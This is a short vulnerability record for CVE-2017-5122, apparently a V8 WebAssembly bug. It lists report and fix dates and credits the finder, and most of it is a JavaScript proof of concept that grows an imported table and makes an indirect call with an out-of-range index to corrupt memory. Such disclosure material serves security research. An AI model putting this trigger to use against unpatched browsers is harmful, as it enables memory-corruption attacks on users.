CVE-2017-5122.md

CVE-2017-5122

• Report: Aug 2017
• Fix: Aug 2017
• Credit: Choongwoo Han of Naver Corporation

PoC

var builder = new WasmModuleBuilder();
builder.addImportedTable("x", "table", 1, 10000000);
builder.addFunction("main", kSig_i_i)
  .addBody([
    kExprI32Const, 0,
    kExprGetLocal, 0,
    kExprCallIndirect, 0, kTableZero])
  .exportAs("main");
let module = new WebAssembly.Module(builder.toBuffer());
let table = new WebAssembly.Table({element: "anyfunc",
  initial: 1, maximum:1000000});
let instance = new WebAssembly.Instance(module, {x: {table:table}});

for (let i = 0; i < 4; i++)
  table.grow(99900);

let instance2 = new WebAssembly.Instance(module, {x: {table:table}});

instance2.exports.main(0x313131/8);

Reference

• Issue